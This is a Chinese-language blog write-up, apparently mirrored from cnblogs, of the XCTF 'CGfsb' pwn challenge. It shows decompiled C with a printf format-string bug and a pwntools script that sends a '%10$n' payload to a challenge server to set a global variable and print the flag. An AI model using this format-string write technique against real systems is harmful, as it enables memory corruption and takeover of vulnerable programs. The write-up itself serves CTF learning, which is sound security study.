zoukankan      html  css  js  c++  java
  • 攻防世界 | CGfsb

    这题算是一次复现,虽然师傅们的wp已经很详细了但是对于我菜虚困来说还是有些点不是很懂,所以特此梳理一下思路


    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int buf; // [esp+1Eh] [ebp-7Eh]
      int v5; // [esp+22h] [ebp-7Ah]
      __int16 v6; // [esp+26h] [ebp-76h]
      char s; // [esp+28h] [ebp-74h]
      unsigned int v8; // [esp+8Ch] [ebp-10h]
    
      v8 = __readgsdword(0x14u);
      setbuf(stdin, 0);
      setbuf(stdout, 0);
      setbuf(stderr, 0);
      buf = 0;
      v5 = 0;
      v6 = 0;
      memset(&s, 0, 0x64u);
      puts("please tell me your name:");
      read(0, &buf, 0xAu);
      puts("leave your message please:");
      fgets(&s, 100, stdin);
      printf("hello %s", &buf);
      puts("your message is:");
      printf(&s);
      if ( pwnme == 8 )
      {
        puts("you pwned me, here is your flag:
    ");
        system("cat flag");
      }
      else
      {
        puts("Thank you!");
      }
      return 0;
    }
    

    读一下伪码可以看到只要让 pwnme==8 就行了。

    from pwn import *
    
    p = remote('111.198.29.45',34352)
    pwnme = 0x0804A068 
    
    payload1 = 'aaaa'
    payload2 = p32(pwnme) + 'aaaa%10$n'
    
    p.recvuntil('please tell me your name:
    ')
    p.sendline(payload1)
    p.recvuntil('leave your message please:
    ')
    p.sendline(payload2)
    print(p.recv())
    print(p.recv())  # p.interactive()
    

    %10$n 是什么意思 ?答: 将XXX写入偏移10处 保存的指针 所指向的地址(4字节)[在这里是把一个字符串的长度(自己构造一个长度为8的)写到pwnme的地方]

    偏移为什么10 ? 答:gdb调试可得(PS :在调试之前记得chmod 777)

     这里通过输入的‘21’带出了偏移地址

    p32()是什么函数?答:pwntools提供了一组函数用来对给定的数据按照一定的格式进行解码和编码。这些函数以p或u为开头,后面加上一个数字代表位数,例如p32和u32。

     printf(&s) 其中s='h�aaaa%10$n'


    参考:

    https://blog.csdn.net/zz_Caleb/article/details/88980866

    https://adworld.xctf.org.cn/task/writeup?type=pwn&id=5050&number=2&grade=0&page=1

    https://blog.csdn.net/AlexYoung28/article/details/83152030

  • 相关阅读:
    Mysql添加用户与授权
    php导出数据到csv
    mysql导入数据和导出数据
    null在mysql中的不同表现
    乌班图安装Lnmp环境
    php框架路由美化后提示No input file specified
    cookie删除失效问题
    MongoDb安装
    MongoDb简介
    位置索引介绍
  • 原文地址:https://www.cnblogs.com/chrysanthemum/p/11756184.html
Copyright © 2011-2022 走看看